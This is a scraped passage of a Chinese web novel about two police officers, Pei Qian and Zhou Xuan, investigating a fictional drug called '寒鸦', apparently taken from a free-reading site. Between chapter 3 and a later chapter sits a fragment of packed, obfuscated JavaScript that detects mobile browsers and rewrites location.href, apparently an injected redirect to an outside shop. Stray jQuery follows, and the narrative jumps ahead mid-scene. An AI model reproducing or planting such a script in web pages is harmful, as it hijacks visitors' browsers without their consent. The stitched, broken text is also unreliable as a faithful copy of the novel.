《渡鸦不飞》 1. 1 《渡鸦不飞》全本免费阅读 渡鸦。 这是一种攻击性极强的肉食类猛禽,通体漆黑,羽毛富有光泽,体型相较于野生乌鸦更大,寿命也更长,通常独栖,食腐。 裴迁手里拿着一枚刻着渡鸦图案的硬币,重复着向上抛起,接在掌心的动作。 指甲与金属碰撞,发出空灵的响声,就算是在喧闹的酒吧里也能让他难得地感受到平静。 “你的黑美人。” 酒保将一杯墨色的鸡尾酒推到裴迁面前,做作地把一根鸦羽作为装饰品插在杯沿,弹开打火机的盖子在杯口轻轻一燎。 高度酒精燃烧蒸发,水面的幽蓝火苗很快熄灭了。 酒保笑嘻嘻地撑着下巴,用打火机有节奏地敲着吧台的桌面,“生命之水兑竹炭,我想不出这玩意有什么好喝的,每次来都点这杯也不见你喝,能不能给我表演一下?” 裴迁慵懒的目光透过镜片的折射更显朦胧的倦意,说出了进门以来的第一句话:“乖,一边玩去,别耽误我钓凯子。” 酒保撇着嘴,为自己短暂的摸鱼时间没有调戏到成熟帅哥感到遗憾,悻悻走远,把这安静的角落留给了他一人。 裴迁将那杯乌黑的鸡尾酒推到桌沿边,继续抛玩着硬币,全然不知自己已经成了不远处某个卡座的视线焦点。 “我说这都什么年代了,出个柜还要挨顿痛揍,我是出柜又不是出轨,到底哪个性质更恶劣,老头怎么就是想不明白呢!” 年轻人接过旁人刚起开的百威,仰头一口见了底,抹嘴打了个响亮的酒嗝。 周围的狐朋狗友都夸他海量,一个劲地给他出幺蛾子:“要我说,你就生米煮成熟饭,直接把男朋友带回家,你爸又不能强行把你们分开,不然你就是铁渣男啊。” 年轻人目光虚浮,眨眼定了定神,舔着发干的嘴唇说:“这只是个借口,我只是不想结婚,也不是真的喜欢男……” “就是!你看吧台角落里那个帅哥,一个人喝酒的背影多孤独,多落寞!主动出击,他就是你带回家的理想儿媳!” “周少,不会不敢跟人搭讪吧!这都什么年头了,怎么还那么纯啊!” “你们别乱说,周少纯情着呢,他可是母胎solo,至今还为他素未谋面的另一半守身如玉呢!” “尊嘟假嘟?那我可赌没跟人牵过手的周少要错过这份摆在面前的爱情了!” 年轻人酒劲上头,被周围的人用话一激,拍着桌子站了起来:“你们把我当什么人了,随随便便在酒吧钓个好看的就能提枪硬干吗?忘了我吃哪口饭了是吧,要钓也是钓鱼执……” 跟他一起来的同伴忧心忡忡地望着他:“周哥,你冷静点,这可不是犯职业病的地方……” 年轻人一把提起他的发小兼同事,凑在对方耳边大着舌头说:“我盯着那人在吧台蹲半天了,不喝酒也不玩乐,反倒显眼,你觉得他像不像……” “不像不像!” 对方怕他闹出乱子,只想尽快压下他这不靠谱的邪火。 年轻人哪听得进劝,铆着一股倔劲就朝裴迁的背影走去了。 而此刻低头看腕表时间的裴迁还全然不知自己今晚的计划即将崩盘。 年轻人摇摇晃晃地走到裴迁旁边,伸手接住他抛起的硬币,一屁股坐了下来, 后者一见是个酒鬼,想提醒对方这里有人,却被扑面而来的酒气呛住了。 对方带着浓重的醉意,舌头不利索地向他搭讪:“帅哥,一个人吗?” 裴迁藏在金边眼镜后的双眼中有星火跳动,用手指尖敲着面前黑乎乎的杯子,“要我请你喝一杯吗?” “那最好喝点甜的。” 裴迁对吧台里嚼口香糖的酒保说:“给他来杯爱尔兰咖啡。” 年轻人还不满足,“我想要那种……有故事的酒,嗝!” 裴迁挑眉,“好吧,那给他来杯血腥玛丽。” “谁要喝那种甜腻腻苦兮兮的东西。” 年轻人一把勾住裴迁的脖子,靠近裴迁,压低的声音在吵闹的酒吧里显得并不清晰,“我看你是又有故事又醉人,介不介意……” 在交替闪烁的氛围灯下,裴迁看清了这个人的模样,三十来岁的青年,面容俊朗,眉眼间含带英气,绯红的脸色掩在昏暗的灯光里,做着跟外表极度不符的事,此刻正用鞋尖掀着他的裤腿勾引他。 “用不着做到这个份儿上吧……”裴迁喃喃念叨,“你这样的人靠我太近,会给我一种我们可能发生点什么的错觉。” 大概是醉得太厉害了,对方没听懂他这话。 酒保双手捧着下巴,在吧台边露出脸,煽风点火:“这送上门的再不要,我可真的会怀疑你有什么难言之隐。” 看着身边坐着都打晃的年轻人,裴迁扳着他的肩膀稳住他的身子,“正事还没办完怎么喝这么多,你没事吧?我要怎么叫你?” “老公……” “什么?” 年轻人字正腔圆:“我说,叫我老公。” 这会儿跟他一起来的朋友看不下去了,找酒保送了个果盘给裴迁,草莓上插着一张名片,正面白纸黑字写着“周悬”这个名字,背面是手机和微信号。 裴迁暗自松了口气,至少看起来不是那种奇奇怪怪的卡片…… 不过周悬这名字怎么听起来有些耳熟? 正想着,周悬忽然朝他靠了过来,听他呜咽一声,裴迁忙掐着他的下巴,扶着他直起上身。 “忍一下,别吐在我身上。” 说着他伸手向酒保索要自己寄存在他那里的东西。 酒保眉飞色舞地将一张房卡交给他,笑嘻嘻地目送他搀扶着东倒西歪的周悬消失在舞池尽头。 裴迁把跌跌撞撞的周悬扶进包间,解开他领口的扣子打算让他吐个痛快,吐清醒了也好办正事。 没想到这人警觉的很,一把按住裴迁落在他衬衫上的手,反身一顶把他抵在了门板和墙壁的夹角里。 亏裴迁还为此惊愕了一下,这人根本是帅不过三秒,话都还没说出来,身子一歪又软下去了。 裴迁拎着他的领子才没让这人瘫在地上,无奈道:“你为什么要在办正事之前喝那么多酒?自己去冲凉水还是我给你两耳光自己选吧。” “正事?什么正事?”周悬醉醺醺地赖在裴迁身上,醉眼朦胧地看了他半天,吐出了一句:“死鬼,让我摸摸你身上有没有……” 周悬开始动手动脚,在裴迁腿上乱摸。 裴迁:“……” 他的忍耐到了极限,青着一张脸提起周悬的后领冲进浴室,打开花洒对着周悬把他从头淋到了脚。 被冷水一激,周悬发烫的脑子降了温,茫然地跟面前这个还穿着衬衫西裤,打着皮质绑带的男人对视。 ………这什么情况? 他迟钝的大脑飞速运转,随即意识到了一个令他毛骨悚然的事实。 ——他这是在跟人约X吗…… ……他竟然为了钓鱼执法牺牲美色在跟人约X?!! 要不怎么说酒这东西误事呢,明明三个小时前他还因为出柜失败被亲爹痛骂一顿,心里不爽才找人出来喝酒散心,眨眼的功夫就跟一个陌生男人挤在酒吧包间的浴室里了? 那帮狐朋狗友一个个跑得比兔子还快,这会儿肯定关机失联一条龙了,丢他一人解决酒后的烂摊子,真够可以的! 但不得不说,他钓来的鱼长得还真不错,理得齐整的短发衬着金边眼镜,整个人散发出一种来自职场的斯文气质,一看就是个很会玩商战的精英,但绝对是个败类。 毕竟,哪有好人穿西装在酒吧等着被搭讪啊? 抱着他虽然有错在先,但对方也不是什么好人的心态,周悬按下夺门而出的冲动,无声地用眼神跟人对峙着,全然没有意识到衣衫不整地坐在浴缸里,毫无形象可言的人是他自己。 裴迁关了花洒,向他摊开手,显然是在索要什 2. 2 《渡鸦不飞》全本免费阅读 要不是等下有个重要的会要开,裴迁真的会认真思考要不要在这紧张的早高峰时段抽出宝贵的两小时杀人灭口抛尸。 看这小子头上冷汗都冒出来了,嘴上还在逞强问昨晚的表现,裴迁微微抬头,眼镜片反射着冷白的光,心下生了些打击对方的恶劣心思。 “表现?就那样吧,看得出来,是第一次。” 周悬虽然喝断片了,但对昨晚损友那句“守身如玉”却记忆深刻,还没平复伤痛,裴迁又一刀补在心口,他彻底被伤透了。 被戳到痛处的年轻人急着找回面子,从地上拎起还湿哒哒的牛仔裤往里一蹬,捡最难听,最伤人的话戳对方的肺管子:“就你这样奔四的老男人能有人愿意无偿陪睡就偷着乐吧,你都不如好蚊子叮人时间长,别指望我鼓励你小小的也很可爱了,跟你睡跟做慈善有什么区别?看看你那眼边的鱼尾纹吧,还对我挑三拣四,你对自己的姿色不会有什么误解吧?” 说假话就是容易舌头打结,周悬一句话咬了三次嘴,觉得很可能是冥冥之中有什么东西在制裁他。 至少鱼尾纹是真没有…… 他口中奔四的那位听了这话也不炸,迅速打好领带,遮住了领口少的那颗扣子,从容道:“有偿是犯法的。还有,虽然被你压了一夜让我觉得很不爽,但你的胸……还挺软的。” 性骚扰一样的措辞,让裴迁有种在犯罪的快感。 被骚扰的周悬冲进浴室打湿双手,抓了几把头发,满意地看着镜子里自己的造型,“就当你这话是在夸我肌肉练得好吧,我这样的有偿还不得赚上福布斯?直说吧,你到底为什么约我?” 一宿没合眼的裴迁刚喝口水润润喉咙,听了这话直接喷了出来,一脸扭曲地看着对方。 周悬意识到哪里不对劲,他好像是为了钓鱼执法才牺牲了自己的美色,所以这人昨晚到底干了什么人神共愤的事才会被他铐在床上整整一宿呢? 要真是对方犯了什么事也就算了,万一这是他兽性大发…… 周悬简直不敢往下想。 他不知道的是,裴迁看似一脸平静,实际上已经快被他气死了,能保持不动声色完全是因为接受过良好教育的涵养。 在经过不明所以的周悬时,裴迁明显有话想说,但为了自己的身心健康,他姑且按下冲动,身体僵硬地推门离开。 如果他现在有什么阿拉丁神灯,许的第一个愿望一定是这辈子都不想再看到他这位遭瘟的“炮友”了。 事实证明,这世上并不存在什么美好的如果和假设,不然他也不会半分钟后就跟周悬挤进同一趟电梯。 周悬见了裴迁也是脸色发绿,头一回觉得两层楼的距离这么遥远。 两人各自站在一边,像两尊门神,越着急越觉得难熬。 周悬觉得这电梯厢里的空气像是凝固了,让人透不过气,用余光瞟着身边的人,竭力缓解着尴尬,干笑道:“那个……你别多想,隔壁两台电梯卡住了,我着急上班,不是硬要跟你呼吸同一立方米内的空气。” 裴迁藏在眼镜后的脸没有半点表情波动。 可能是觉得自己这话说的太没水平了,周悬又补充道:“需要我送你吗?” 说着他一拍裤兜,确认车钥匙是在口袋里的。 裴迁淡淡道:“你昨晚喝的酒还没代谢完,身体里酒精浓度还没降下来,当心酒驾。” 周悬忍不住自问:这人遵纪守法的意识这么强,自己到底为什么昨晚要对这人钓鱼执法?跟他比起来明明自己才像个法外狂徒。 ……反正只要出了这个门,他们就分道扬镳死生不见了,再忍个几秒钟就解脱了。 这几秒钟对裴迁来说也是一样的难熬,电梯门开的铃响对他们来说简直就是解放的曙光,但谁也没想到,接下来他们会在下一个路口重逢。 站在斑马线前,周悬觉得自己在大冷的天里尬出了一身汗,旁边那位虽然表面上没有情绪波动,但从鼻息前频繁呵出的冷雾来看,怕是也被老天爷气得不轻。 周悬是个天生的E人,受不了这样僵硬的气氛,又主动跟人搭话:“师傅,你是做什么工作的?” 裴迁强忍着打人的冲动,抬手一指不远处的CBD地标建筑,“卖保险的。” “噢,那是个好工作啊。” 裴迁出于礼貌也问了一句:“你呢?” “我……”周悬擦着鼻尖哽了一下,脱口而出:“给苏打饼干打孔的。” 裴迁淡淡瞥他一眼,做好了等红灯变绿就甩开这家伙,从此再也不见的准备。 不过在他动身以前,周悬就飞快地窜了出去,为了避开裴迁方才指的那栋大楼,他还特意绕了小路。 可惜造化弄人,当周悬气喘吁吁地站在市局门口,看着满脸诧异盯着他的裴迁,两人脑海里唯一的念头就是:“擦!” 周悬表情扭曲:“……卖保险的?” 裴迁眉角抽搐:“给苏打饼打孔的?” 两人都很清楚,如果昨晚的事被人知道,很快他们就会因为左脚迈进市局被开除,当下都心照不宣地选择沉默,装作互不认识,连个眼神交流都不再有。 裴迁走进市局新楼,坐在工位上摘下眼镜,捏着隐隐作痛的鼻梁。 他很久都没有这么疲惫过了,昨晚没跟自己的线人接上头不说,还摊上了周悬这么个活宝,最致命的是他弄丢了重要的东西。 看着今天的日程表,他决定开完上午的会就折回酒吧去找东西。 “奔四的老男人啊……” 感到力不从心时,他想到了周悬今早的话,又气个半死。 与此同时,推门走进局长办公室的周悬连打了两个响亮的喷嚏。 高局翻着报纸,头也不抬道:“一想二骂三叨咕,你小子又招惹什么人骂你了?” “拜托,我这么人见人爱,怎么会有人看我不爽啊。” “瞎话说多了当心掉进下水道。” 周悬凑到办公桌边,从纸袋里偷摸了根油条叼在嘴里,打量着办公室内的布局。 “我可是好久没回这儿了,您老人家那么努力向厅里争取我是打什么主意呢,先说好,我可不会白打工的,昨天刚跟我老子吵完架,受到了一点小小的经济制裁,工资经费补贴可样样不能差,不然我就揭不开锅了。” 高局使出他的标准二指禅在键盘上点了几下,戴着眼镜琢磨半天,鼠标用得飞起,周悬终于看不下去了,主动帮他调出公安内网,让他自己输入警号密码。 “我说老高,你也稍微与时俱进点吧,我家老周都会用智能机玩消消乐了,你这样迟早是要被时代淘汰的。” 周悬还享受着欺负老年人的乐趣,很快他就笑不出来了。 因为高局调出了一张被缴获的物品照片,密封袋里是一些蓝绿色的结晶,数量不多,大概只有几克,足够他认出这是什么东西。 “你一直在追查的‘寒鸦’又出现了,预估是这个数。” 高局伸出手,做了个“8”的手势。 “如此大量的违禁药品出现可不是巧合,我怀疑它的公式很可能被破解了。” 说到“寒鸦”,就不得不提它的来历。 这种结晶体是近些年流入黑市的新型精神药品,颜色跟绿松石非常相似,根据纯度不同,能呈现出蓝绿两种不同的色调,易溶于乙醇和水,还具有可燃性,吸食的方法多种多样,因有着强成瘾性和致幻作用受到瘾君子的青睐,曾一度被奉为甲//基//苯//丙//胺和海//洛//因的上位品。 但比起已经盘踞毒市多年的传统毒品,刚流入市场不久的“寒鸦”质量参差不齐,纯度都不够高,价格还非常昂贵,究其原因是“寒鸦”的生成过程相当复杂,需要精密的测算,0.1毫克的原料误差和0.7秒的催化剂投入时间误差都可能导致生成出完全不同的东西。 “寒鸦”的复杂之处还不止这些,它的创造者曾是金三角最大贩毒集团“坤瓦”首脑之子 3. 3 《渡鸦不飞》全本免费阅读 看出他的疑惑,高局一拍额头,“看我这脑子,都忘了给你们做正式介绍了,小裴啊,这位是我们市局从省厅借调来的禁毒先锋周悬,今年刚被评了先进和标兵,人呢看着是不太靠谱,不过办事是一把子好手,有的是力气,之后你有什么活都可以交给他,保准给你办的妥帖!” 周悬被高局夸得找不着北了,摸着耳垂不好意思道:“哎哟老高,难得听你这么这么夸我,还真是……不对,我为什么要给他干活?” 他硬是咽下了后半句不怎么中听的话。 裴迁的表情就和刚听出噩耗的周悬一样无奈,“先进,标兵……” ……就这个开放到见第一面就赖在他身上睡了一宿,差点把他压背过气去的小鬼? 裴迁觉得鼻梁冒汗了,连带着镜片内侧都雾蒙蒙的,也不知道是这姜茶太热,还是周悬带给他的震撼太大。 高局继续介绍:“这位是裴迁裴科,去年调来咱局的技侦科长,高知分子,我硬从省里截胡的人才,你小子把态度放端正了,接下来你们可是要搭配执行任务的,少不了照应,先互相熟悉一下没有坏处。” 裴迁的身份和周悬预料的一样,是个精英男没错,但他们两人怎么看都不像能密切合作到要被单独拉小黑屋的程度。 周悬觉着这事不简单,自己八成是被高局给套路了。 从他正式进入公安系统到现在一直追查着有关“寒鸦”的线索,如今高局就这样把真相递到了他眼前,不深入一探究竟实在不是他的风格。 就在周悬想追问时,裴迁居然先开了口:“高局,您说‘寒鸦’是个人是什么意思?” 高局一脸严肃地站起身,背着双手站到窗前,眺望外面的风景,斟酌着开口:“我们之前一直以为‘寒鸦’是在实验室里诞生的产物,有着严密的实验流程和生成机制,事实上这只是早期生成‘寒鸦’的方法,这种原始的生成方式因为太复杂,早就被淘汰了,后来它的创造者又找到了一种持续稳定的生成方法,但这是目前最高级别的机密,在没有许可的情况下,我不能透露给你们。” 周悬眉头紧锁,他知道以自己的级别不应该接触到这种程度的机密,高局会给他透露这件事的目的一定不纯。 “今天会把你们叫来,是因为我收到了一条线报。”高局眯眼打量着两人,锐利的目光中透着一丝狡黠,“有人在暗网上放出消息,将在一场性质特殊的拍卖会上公开拍卖100克‘寒鸦’纯品。” 周悬坐不住了,大步走到办公桌前,只等高局说出具体信息就付诸行动。 高局摆手示意他别急,转而看向不动声色的裴迁,“目前知道这件事的人不多,绝对不能打草惊蛇,你们都是我信任的年轻后辈,我想派你们去调查这件事,你们接下来的任务就是到拍卖会现场查清药品的来源和背后运作的势力,切记以调查为主,别想一口气端了背后的整条犯罪链。” 周悬收起浑身支棱起来的硬刺,终于明白了高局今天把他叫来的本意。 放在平时,他肯定得扯皮抱怨高局把他交给一个素未谋面的空降领导管着,但他明白这次任务的重要性,由着那份藏于心底的执念,他不论如何都要与这种危险的药品抗争到底,不管是在谁手底下打工,他都会老老实实做好自己份内的工作。 见他眼神变了,高局便知这次安排是八九不离十了,在提醒周悬去找秘书拿文书,把人打发走后,他叫住了跟着起身的裴迁:“小裴,我有几句话想对你说。” 裴迁驻足,转身走到高局面前。 两人之间隔着办公桌,就像隔着一道无形的高墙。 高局叹了口气,“小裴啊,周悬这人很单纯,别看他也三十多了,在他看来这世界仍然是非黑即白的,你的那些秘密还是得掖住了。” 裴迁垂眸,依然是平静无波的态度:“您是不放心我一个人才会派他来监视我吗?” “小裴。” 裴迁猜对方一定会苦口婆心讲些大道理,便摆出一副虚假的顺从姿态,表示自己愿意接受这个结果。 可他没想到高局会说:“你需要他。” 与对方含笑的眼对视,裴迁看不透他那深不可测的用意。 “你不会讨厌他的,我向你保证。” 想到昨晚的事,裴迁的火顶到了眉心,“高局,我承认很多时候您说的话都是对的,但这个恐怕……” “如果他让你失望,我就把收缴的‘寒鸦’纯品给你。” 高局的自信一言让裴迁眸色发沉,他面上那点虚伪的礼貌与笑意荡然无存。 “要来赌一把吗?就以你们这次任务为期。” “一言为定。” 裴迁转身阔步出门,高局看着他的背影消失在门后,轻叹一声,拉开了办公桌最上方的抽屉。 里面静卧着一把遍布划痕的警//枪,还有一张倒扣着的,被压在枪下的旧照片。 周悬向秘书申请了调阅卷宗的权限,一个人在档案室泡了一整个下午,想多查些相关线索,可惜以他的权限能查阅的资料有限,这些被刻意删减过的内容都是他已知的情报,并不能提供太多的帮助。 他从满桌的卷宗中抬起头,揉着双眼长出一口气,眨眼的功夫面前就多了一罐咖啡。 他警觉地坐起来,就见裴迁幽幽坐在他对面的位置,两条长腿交叠,是一个惬意又松弛的姿势。 在白炽灯下保持这样的姿态相互对视,会让他有种自己处在被动中的错觉,像在接受审讯一样。 “有什么话想对我说吗?”裴迁轻咳一声道。 周悬见了他这样子莫名来火,可对方接下来要跟他搭档执行任务,没有选择的他总不能得罪了对方。 他只能硬着头皮给人陪笑:“那个……不好意思,早上不该说你是奔四老男人的,其实我也……嗯,跟你年纪差不多。” “就这个?” “呃……昨晚也不该太冲动怀疑你的,我这人就爱犯职业病,看到你一个人在酒吧不喝酒也不玩乐,怕你是跟人私下交易什么违禁物品,你也知道,毒贩就喜欢在酒吧那种鱼龙混杂的地方找下家……保持警觉是基本素养,你说对吧。” “你是不是忘了什么?” 裴迁终于憋不住了,向他伸出手,分明是在讨要什么。 周悬一怔,盯着那人的掌心看,“……你的生命线怎么是断开的?有没有找大师看过?” 裴迁:“……” 周悬看他是这样的反应,心道坏了,这什么意思?要跟他牵手?? 就在他纠结要不要给个面子握住对方的时候,裴迁忍无可忍:“你昨晚拿了我的东西,能还给我吗?” “有这事?” 昨晚喝的实在太多,断片的周悬根本想不起来太多细节,匆忙把自己身上的口袋翻了个遍。 裴迁眼看着他把手机、耳机、车钥匙、烟盒和一堆杂七杂八的东西翻了出来,就是不见最关键的东西。 翻到最后,周悬脸色忽地一青,手卡在工装裤的后口袋里,浑身僵硬。 裴迁满眼怪异地看着他,只见他缓缓掏出一个正方形的小包装袋,弱弱地问他:“……是,这个?” 裴迁看清那东西,脸也黑了。 ——冈本0.01。 这小子…… 裴大科长觉得刚刚那个跟高局打赌的自己一定处于智商的低洼区,也不废话,起身就走。 周悬还没从口袋里多出这么个玩意的打击中缓过来,这肯定不是他的东西,他根本不是会约X乱搞的人,虽然很不想承认,但他到了这个年纪还是清白身,绝对没有用过这东西的经验。 但从对方的表现来看,这肯定也不是裴迁要他归还的东西。 周悬觉得自己的脑子跟不上这庞大的信息量,干脆冲进刑侦支队的办公室,从工位上抓起了正在埋头写报告的孙濯。 “我问你!昨晚到底发生什么事了?你给我一五一十从实招来!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12828672|135396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他失落地拿回橘子,剥了皮后掰下橘瓣往雕像嘴边送,还一边“啊啊……”地劝着。 那正是年轻人方才端详的雕像,周悬一细看,立刻就不淡定了,冲到石匠儿子身边追问:“他的雕像为什么会在这儿?你是什么时候在哪见过他的!!” 裴迁和那年轻人都不明所以,不知道这尊雕像到底哪里触动了周悬的敏感神经,能让他有这么大的反应。 裴迁把覆在雕像面部的积雪扫净,明白了原因。 ——这雕像刻的是江倦的脸。 江倦曾跟他们提起过他小时候在这村子里住过一段日子,这话应该是真的,但对方却没有告诉他们全部的真相。 按照目前已知的情况,江倦只比他们早到这里半天,这样短的时间远远不够雕凿出精致的石像,如果只是小时候在这里住过,不管是老石匠还是他的儿子都不该雕出江倦成年后的面容。 石匠儿子被周悬吓住了,咿咿呀呀半天,不知在说些什么。 年轻人拦住周悬:“别这样,他没法跟人交流的,而且我想,他可能也理解不了你这么复杂的话是什么意思。” 周悬一松手,石匠的儿子就跑回屋里了,剥完的橘子也顾不上拿了,都丢在了雪地里。 裴迁低头将它们一一捡起,放在雕像的手里。 石匠儿子可能根本没有意识到这尊冰冷的石像不是人,还把它当作朋友一样相处,才会有喂橘子这样的天真举动。 裴迁注意到,这尊江倦的雕像低着头,像在沉思,仔细去看才会发现它脸上的泪痕,它在哭泣…… “这尊雕像应该是石匠儿子雕的,看不出老石匠的风格,我也很好奇他为什么会雕出你们那位朋友,平时老石匠怕他出事,从不让他出门,所以来拜访老石匠的人都会被他当作朋友,如果是喜欢到愿意雕刻石像来纪念的人,应该没少陪他玩吧。” 说了这么多,年轻人才想到自己忘了自我介绍,“抱歉,还没自报家门,我叫詹临,是个雕刻师。” 他分别与裴迁和周悬握了手,动作像是蜻蜓点水一样,只是走个过场,后者却捕捉到了一丝异样的触感,盯着自己刚与他交握过的手出神。 周悬转而去看江倦的雕像,有些失魂落魄。 为了不让詹临太尴尬,裴迁主动问道:“你对这里很了解的样子,以前来过吗?” “嗯,学生时代我曾到这个山村写生过,偶然认识了技术精湛的老石匠,跟他学了些皮毛,所以今天我才会来看望他老人家。” 说到这里,他耸了耸肩,“说实话,我是想不出会有什么人愿意跟他儿子做朋友,因为先天疾病的原因,他不会说话,不能跟人交流,一言不合还会动手打人,我当年在这里最讨厌的就是他了。” “看你现在的态度,似乎不是很反感了。” “是啊,我跟一个低智商的残疾人计较什么呢,反正他和老石匠也不是我这次来的目的,所以无所谓了。” 他质疑的目光来回打量着周悬和裴迁,“我倒是挺在意你们的,这尊雕像刻的人真的是你们那位朋友吗?他看起来清清冷冷,有些鬼神不近的意思,我实在想不到以他现在表现出来的性格会跟那个低智商的石匠儿子打成一片……” 说曹操,曹操就到。 江倦还不知道发生了什么,走过来唤众人:“周哥,裴哥,我要回去了,你们一起吗?” 气氛不大对劲,两人还有那个陌生人都用一种怪异的目光看着他,说不好那是什么感觉。 石匠儿子听到声音,从门后探出头来往外窥视,看到江倦后开心地冲了出来,呜呜哇哇不知在说些什么。 他和正常人不同,下手总是没轻没重,江倦没什么准备就被他一把扑倒在了雪地里。 石匠儿子兴奋地又蹦又跳,要拉着江倦一起玩。 江倦不明所以,迅速起身拍着身上的雪,“这人怎么回事!这是在干什么?” 16. 16 詹临见状诧异道:“你不认识他?” “我当然不认识他,这是我第一次来这里。” “那他怎么会雕你的石像?” 江倦也看到了那尊立在不远处,跟自己的面容别无二致的雕像,一时有些不知所措。 而他这样的反应也恰好印证了周悬心里的猜想,他出言解围:“算了,也不是什么大不了的事,回去了。” 说完便带头离开了。 裴迁贴心地慢了一步,没给詹临留下跟江倦独处,借机提问的机会。 雕像的事纯属意外,他们是来调查命案的。 至少这次走访可以证明在村子里复制一把钥匙的可能性不大,周悬也亲自验证过,现场的门锁跟其他彩钢房是相同的样式,不大可能被替换。 那么就很可能是在其他方面被做了手脚。 “其实也很简单。”裴迁漫不经心地说道,“这种锁的样式较老,保护性不比都市里常用的门锁,只要在门闩处垫块塑料片,或者质地比较硬实的胶带都可以达到让门看起来锁了,实际却一拉就开的效果。” 周悬也想到同一处去了,但还是很疑惑:“门是什么时候被人动手脚的呢?明媛进入房间的时候正在和林景吵架,还把其他人都关在了门外,如果那个时候门锁并没有锁上,只要有人在外面用力一拉门不就露馅了吗。” “这确实是个问题,我也没想通这一点,但比起这个,分析那几个人的心理可能更重要些,说不定刚好能找到原因。” 周悬对分析别人的心理不感兴趣,一是因为他觉得察言观色剖析心理需要很强的专业能力,二是觉得客观事实更有助于破案,无论是相关人士的心理还是分析相关人士的心理都属于主观意识,而人的感觉恰恰是最不可靠的东西。 “可以先假设明媛不是凶手……” 周悬打断了裴迁:“我不会做这种假设,我觉得她有90%以上的可能就是杀害死者的凶手,只不过来路不明的死者也很奇怪就是了。” 他瞥着那人的表情,小声道:“我只是单纯不想被你觉得我和外面那些当面指出她嫌疑的外行一样才没说这话……” “你还挺诚实的。” “我就当你这话是在夸我了。” “如果要我来查案,我会先假设明媛不是凶手,原因有二,第一,她的嫌疑太明显了,真正的凶手往往不会把自己置于这么被动的境地,第二,现场不是个理论上的封闭密室,只要在锁上下点功夫,谁都能把现场伪造成密室,第三,也是最重要的一点,明媛那天更换了房间。” “是啊,她还闹的人尽皆知。” “我一直觉得出现在她原本房间的那窝老鼠很奇怪,可惜还没来得及仔细调查,房间就住人了。” “对哦,后来谁住在那间房里了?” “主播维迦和他的雕刻师朋友,他们两人似乎对这件事不知情。” “也不能完全排除他们的嫌疑,毕竟发现死了人后,他们是第一个对明媛冷嘲热讽,指出她嫌疑的人。除了他们之外,明媛闹脾气时敲门的是她的男友,这人嫌疑也很大啊。” 周悬转念一想,“可他有什么理由害自己的女友啊……算了,我还是不多说了,Always husband,这种案例也不少见。” 裴迁取下眼镜,擦着镜片上未散尽的雾气,“至少现在看来,嫌疑人就不止明媛一人,他们之中肯定有人先到过这里,摸清了这里的情况。这个问题暂不深究,那么第二个问题也随之来了。” 裴迁又戴上眼镜,狐狸般的目光在镜片后闪烁着,“死者是从哪里来的。” 周悬说了个显而易见的事实:“反正不会是从冰天雪地里爬来的。” “那就只有两种可能,要么他一早就藏在村子里,要么是跟着昨天那几辆车一起来的。前者我觉得基本可以排除,村民们的排外心理很强,如果是熟悉到能让他们收留的程度,他们不会对死者的死漠视不理,反过来说如果是死者偷偷潜入村子里的,他的衣食住行很难不引人注意,理论上是不可能完全藏身的,所以我更倾向后者。” 周悬顺着他的思路往下想了想,点头认可了这个说法。 “死者可能是跟着某辆车一起来的,首先可以排除明媛、林景和程绝那辆越野,明媛在否认见过死者时的反应滴水不漏,如果不是受过专业训练,那大概是真不认识,而且程绝打开后备箱拿东西的时候,我也瞟见他们的车子里放满行李,确实没有能藏人的空间。” 周悬感慨:“你也太细了吧……” 裴迁眉头一皱,表情有些古怪。 周悬立刻解释:“我不是在说奇怪的东西!” 裴迁轻咳一声,继续说道:“考古学家和地质学家的SUV倒是有藏人的可能,那辆车的后备箱和后排座椅是联通的,按倒座椅,藏在后备箱里的人就能钻到前排,反之也可以从后排穿到后备箱,活动空间比较大。至于后来的主播维迦和其他人,就假设他们都有可能把死者带到村子里好了,那这个嫌疑人的范围可就大大缩小了。” 周悬觉得这话很有道理,便准备去向其他人打探情况。 这时候人们已经蠢蠢欲动了,他刚出门就听见餐厅那边传来吵闹声,原来是以明媛为首的一群人都不想在村子里继续耗时间了,逼着村长今天就把他们都送上山。 其他人虽然觉得明媛有杀人嫌疑,但在这一点上却能跟她达成共识,也跟着瞎起哄。 村长收了主办方的钱,不好违反约定,也是左右为难。 村民们得知死了人,听说了死者的死状之后,一种诡异的恐怖氛围蔓延开来,都说这是外来人触怒了圣母,纷纷给村长施压,要让他送走这些不懂规矩的外人,以免圣母降怒于整个村子。 他们全然忘记昨天周悬跟他们闹得有多欢实,翻脸比翻书还快。 村长被两边挤压,觉得这钱赚的太辛苦,还不如买个轻松,终于点头同意把他们送走。 就在人们欢天喜地地收拾行李,为终于能离开这封建迷信的村子感到庆幸时,意外又发生了。 村子里竟来了三个跌跌撞撞,全靠粗树枝做拐杖才不至于倒地不起的陌生人。 他们身上都带着寒鸦吊坠,证明了游客的身份,村民就不能见死不救。 好不容易把他们弄进房间,又是用雪搓,又是烧热汤,总算有一个人先缓过来,说明了他们的遭遇。 “我们从县城赶来的途中遇到了大暴雪,车子被堵在路上,我们都没什么经验,见到这种情况吓坏了,忍不住大叫起来,结果引来了一场小型雪崩,好不容易才逃了出来,但所有的物资都被掩埋在车子里了,只好徒步走到村子。” 众人都很同情他们的遭遇,有人还在意外中受了伤,萧始正就地取材给手臂骨折的人打着夹板,疼得对方直哭喊。 “别叫了,没有麻醉我也没办法啊,你桡骨错位太严重了,现在不复位会落残疾的,再忍一下。” 这人叫得实在凄惨,周悬忍不住了,走上前去一指天花板。 那人不明所以,循着他指的方向望去,哪成想周悬竟干脆利落地挥起一拳,利落地把他打晕了。 “物理麻醉,牛逼!” 维迦看热闹不嫌事大,带头给周悬鼓掌。 “你们遇难的地方距离这里有多远,这一路上有什么损失吗?” 裴迁委婉地问道,言外之意是问有没有遇难者被丢在路上。 “雪崩来的太突然,我们什么都没来得及带,所有东西都被丢在了车子里,只顾逃命了……距离应该不是很远,在这样的天气和路况下,我们大概走了三四个小时。” 